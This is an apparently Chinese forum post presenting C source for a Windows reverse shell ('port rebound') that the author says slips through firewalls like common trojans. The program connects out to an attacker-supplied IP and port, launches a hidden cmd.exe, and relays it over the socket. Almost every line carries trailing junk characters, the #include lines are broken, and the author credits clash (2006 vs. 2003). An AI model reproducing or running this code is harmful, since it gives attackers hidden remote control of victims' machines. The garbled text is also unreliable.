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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 /[+qw%>  
;7U"wI_~c  
/* ============================== Nn{/_QG  
Rebound port in Windows NT Fd/Ra]@\Y  
By wind,2006/7 Rja>N)MzBf  
===============================*/ '#u=w yp  
#include Z> <,t~o}  
#include S.|%dz  
}WnoI2  
#pragma comment(lib,"wsock32.lib") chXTFLC~  
UHS{X~CS e  
void OutputShell(); p+}eP|N  
SOCKET sClient; o+g\\5s  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; iJb-F*_y  
>2ny/AK|  
void main(int argc,char **argv) O2S{*D={  
{ (".WJXB\  
WSADATA stWsaData; qdxDR 2]U  
int nRet; L8?;A9pc()  
SOCKADDR_IN stSaiClient,stSaiServer; plgiQr #  
7VW/v4n  
if(argc != 3) u& <NBxY  
{ C j:  
printf("Useage:\n\rRebound DestIP DestPort\n"); 'tY y_  
return; C^ZD Uj`  
} &uXu$)IZ  
N4w&g-  
WSAStartup(MAKEWORD(2,2),&stWsaData); Dpkc9~z  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6. 6x$y3v  
yX1OJg[s,  
stSaiClient.sin_family = AF_INET; <4Ik]Uz^  
stSaiClient.sin_port = htons(0); +m4?a\U  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); x }i'2   
7'RU\0QG  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) (|sqN8SbA  
{ /vAA]n8  
printf("Bind Socket Failed!\n"); &Vbcwv@  
return; &24>9  
} xbs X-F  
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stSaiServer.sin_family = AF_INET; D)bR-a_^  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 3yu,qb'"&  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); `3L?x8g  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 8_{XrTw(  
{ {jo"@&2S  
printf("Connect Error!"); H iEQs|""'  
return; 85ND 3F6q4  
} ,8+Jt@L  
OutputShell(); Ae'N1V  
} v7mg8'  
uZ+vYF^  
void OutputShell() BV eIj }  
{ m`#UV-$J  
char szBuff[1024]; "tz`@3,5dN  
SECURITY_ATTRIBUTES stSecurityAttributes; w%eEj.MI|i  
OSVERSIONINFO stOsversionInfo; iJzW3%E  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; c:,K{ZR  
STARTUPINFO stStartupInfo; !CLL{\F  
char *szShell; w"OeS;#e:  
PROCESS_INFORMATION stProcessInformation; Vm%0436wOY  
unsigned long lBytesRead; a]=j  
85#+_}#  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ?}<Wmy2A  
{oRR]>  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Gt;U9k|i  
stSecurityAttributes.lpSecurityDescriptor = 0; m-R`(  
stSecurityAttributes.bInheritHandle = TRUE; yD( v_J*  
_Sult;y"u  
vf?m-wh  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); XT\Q"=FD  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); \"l/D?+Q  
2$1D+(5;  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Z'_EX7r  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l%v2O'h  
stStartupInfo.wShowWindow = SW_HIDE; vR'rYDtU@  
stStartupInfo.hStdInput = hReadPipe; 0ae}!LO  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; \g:Bg%43h  
e`;U9Z  
GetVersionEx(&stOsversionInfo); m ?jF:] ^  
E\XD~  
switch(stOsversionInfo.dwPlatformId) |1UJKJwX  
{ 92g&,Wb  
case 1: { u1\M  
szShell = "command.com"; 7r$'2">K(  
break; )Qc>NF0  
default: RaAvPIJa |  
szShell = "cmd.exe"; U&L?IT=x  
break; UE K$  
} v v]rXJu1  
V,>uM >$  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ,{g B$8z^  
;(;{~1~  
send(sClient,szMsg,77,0); B/b S:  
while(1) z+X DN:  
{ ~jM!8]=  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Yjix]lUXVf  
if(lBytesRead) X XC(R  
{ U[c^xz&  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); jmva0K},SE  
send(sClient,szBuff,lBytesRead,0); 99?: 9g  
} P~u~`eH*  
else d1n*wVl  
{ <amdPo+2D  
lBytesRead=recv(sClient,szBuff,1024,0); t"FB}%G  
if(lBytesRead<=0) break; 6F08$,%Y  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0);  bj U]]  
} j(];b+>  
} mW_ N-z  
;09U*S$eK  
return; gIcm`5+T  
}
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